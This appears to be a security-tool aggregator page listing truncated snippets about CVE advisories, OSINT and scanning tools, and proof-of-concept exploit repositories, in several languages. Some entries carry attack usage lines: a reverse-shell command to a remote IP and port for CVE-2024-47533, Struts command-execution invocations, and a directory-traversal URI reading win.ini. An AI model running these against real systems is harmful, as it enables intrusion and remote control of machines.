CVE-2026-93741

A buffer overflow in the formWlWds function (file /boafrm/formWlWds) of the Totolink A3002MU (firmware Hh-B20211125.1046) allows a remote, unauthenticated attacker to overflow the buffer by manipulating the submit-url argument. The flaw is rated CVSS 10.0 (Critical) with high impact on confidenti...

EUVD-2026-83497

A security flaw has been discovered in Totolink A3002MU Hh-B20211125.1046. Affected by this vulnerability is the function formWlWds of the file /boafrm/formWlWds. The manipulation of the argument submit-url results in buffer overflow. It is possible to launch the attack remotely. The exploit has...

CVE-2026-93741 Totolink A3002MU formWlWds buffer overflow

A security flaw has been discovered in Totolink A3002MU Hh-B20211125.1046. Affected by this vulnerability is the function formWlWds of the file /boafrm/formWlWds. The manipulation of the argument submit-url results in buffer overflow. It is possible to launch the attack remotely. The exploit has...

mitaka

Mitaka Mitaka is a browser extension that makes your OSINT Open Source Intelligence search & scan easier. Key features: Auto IoC indicators of compromise selection with refanging. E.g. example.com to example.com, testatexample.com to [email protected], hxxp://example.com to http://example.co...

CVE-2023-4166

CVE-2023-4166 fofa：通达 OA python3 CVE-2023-4165.py -h python3 CVE-2023-4165.py -u 单个url目标文件 python3 CVE-2023-4165.py -f url.txt Luego verifica la dirección...

deadfinder

Find dead-links broken links Documentation • Installation • Github Action • Contributing • Changelog Dead link broken link means a link within a web page that cannot be connected. These links can have a negative impact to SEO and Security. This tool makes it easy to identify and modify. Looking f...

CVE-2021-3131

CVE-2021-3131 Descripción sugerida El servidor web en 1C:Enterprise 8 anterior a 8.3.17.1851 envía credenciales codificadas en base64 en el parámetro URL 'creds'. Tipo de vulnerabilidad Otro CWE-522 Credenciales insuficientemente protegidas Vendedor del producto 1C Company Código base del product...

GetBlocked

GetBlocked! 更干净的页面。更少的追踪器。仅本地运行。 GetBlocked! 是一款轻量级、仅本地运行的 Chrome 扩展程序，它通过拦截已知的追踪器请求、清理追踪链接并解释追踪尝试来帮助减少常见的第三方网站追踪。 它被构建为一个可检查的 Manifest V3 项目，适合想使用友好隐私工具的用户，也适合希望快速提交有价值拉取请求的贡献者。 GetBlocked! 的功能 使用 Chrome 的 declarativeNetRequest 拦截一组精心挑选的已知第三方追踪器域名。 清理常见的追踪 URL 参数，例如...

CVE-2022-26134

CVE-2022-26134 poc 声明:该POC仅供于学习专用，禁止一切违法操作，如果进行恶意破坏与本人无关！！！ 使用方法 单个验证验证 root@kitploit: python CVE-2022-26134.py target url 批量url验证 root@kitploit: python CVE-2022-26134.py url.txt...

struts-pwn

struts-pwn Apache Struts CVE-2017-5638 的漏洞利用工具 用法 测试单个 URL. python struts-pwn.py --url 'http://example.com/struts2-showcase/index.action' -c 'id' 测试 URL 列表. python struts-pwn.py --list 'urls.txt' -c 'id' 检查单个 URL 是否存在漏洞. python struts-pwn.py --check --url...

second-order

Second Order 扫描Web应用程序以寻找二次子域名劫持漏洞，通过爬取应用并收集符合特定规则或以特定方式响应的URL（及其他数据）。 安装 从二进制文件安装 从发布页面下载预构建的二进制文件并解压。 从源码安装 推荐使用Go 1.17版本。 root@kitploit: go install -v github.com/mhmdiaa/second-order@latest Docker root@kitploit: docker pull mhmdiaa/second-order 命令行选项 root@kitploit: -target string 目标URL -config...

CVE-2023-22432

CVE-2023-22432 Verificación del PoC de la vulnerabilidad de web2py CVE-2023-22432 Una vulnerabilidad CVE-2023-22432 en web2py fue divulgada el 31 de enero de 2023 hora de EE. UU.. Este artículo describe nuestra discusión sobre esta vulnerabilidad y los resultados de nuestra verificación. Resumen ...

CVE-2020-35262

CVE-2020-35262: XSS Almacenado en el Router Digisol DG-HR3400 Descripción de la Vulnerabilidad Se ha identificado que el endpoint vulnerable no tiene validación de entrada en el lado del servidor y carece de filtrado en el lado del cliente para cualquier inyección de script malicioso. Un atacante...

CVE-2024-47533

root@kitploit: 反向 Shell python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd 'bash -c "bash -i & /dev/tcp/10.10.14.23/4444 0&1"' 简单命令 python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd 'id' 写入 SSH 密钥 python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd 'mkdir -p /root/.s...

ghauri

Like Ghauri, consider supporting the developer...

url-status-checker

状态检查器 URL 状态检查器 v2.1 状态检查器是一个 Python 脚本，用于检查一个或多个 URL/域名的状态，并根据其 HTTP 状态码进行分类。 版本 2.1.0 功能特性 检查单个或多个 URL/域名的状态。 异步 HTTP 请求以提升性能。 跟随重定向。 跟踪所有涉及的 IP 地址。 基于颜色编码的输出，更直观地显示状态码。 检查多个 URL 时显示进度条。 将结果保存到输出文件。 对无法访问的 URL 和无效响应进行错误处理。 命令行界面，易于使用。 安装 1. 克隆仓库： root@kitploit: git clone...

CVE-2021-24917

Exploit para CVE-2021-24917...

PoC-CVE-2025-12097

CVE-2025-12097 Descripción La modificación de NI del servidor Appweb contiene una vulnerabilidad de salto de directorio que permite a un atacante leer archivos arbitrarios en el servidor. La ruta URI /.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/windows/win.ini se convertirá en: pathInfo cchar...

cve-2020-7799

cve-2020-7799 批量检测cve-2020-7799 在同目录下添加一个text.txt文件 文件内url格式如下所示： www.baidu.com 132.231.132.132 133.12.122.13:8080 运行即可python3 cve-2020-7799.py 注意：禁止使用本项目所有资源进行非法测试！...

dalfox

Dalfox is a powerful open-source tool that focuses on automation, making it ideal for quickly scanning for XSS flaws and analyzing parameters. Its advanced testing engine and niche features are designed to streamline the process of detecting and verifying vulnerabilities. Key features Subcommands...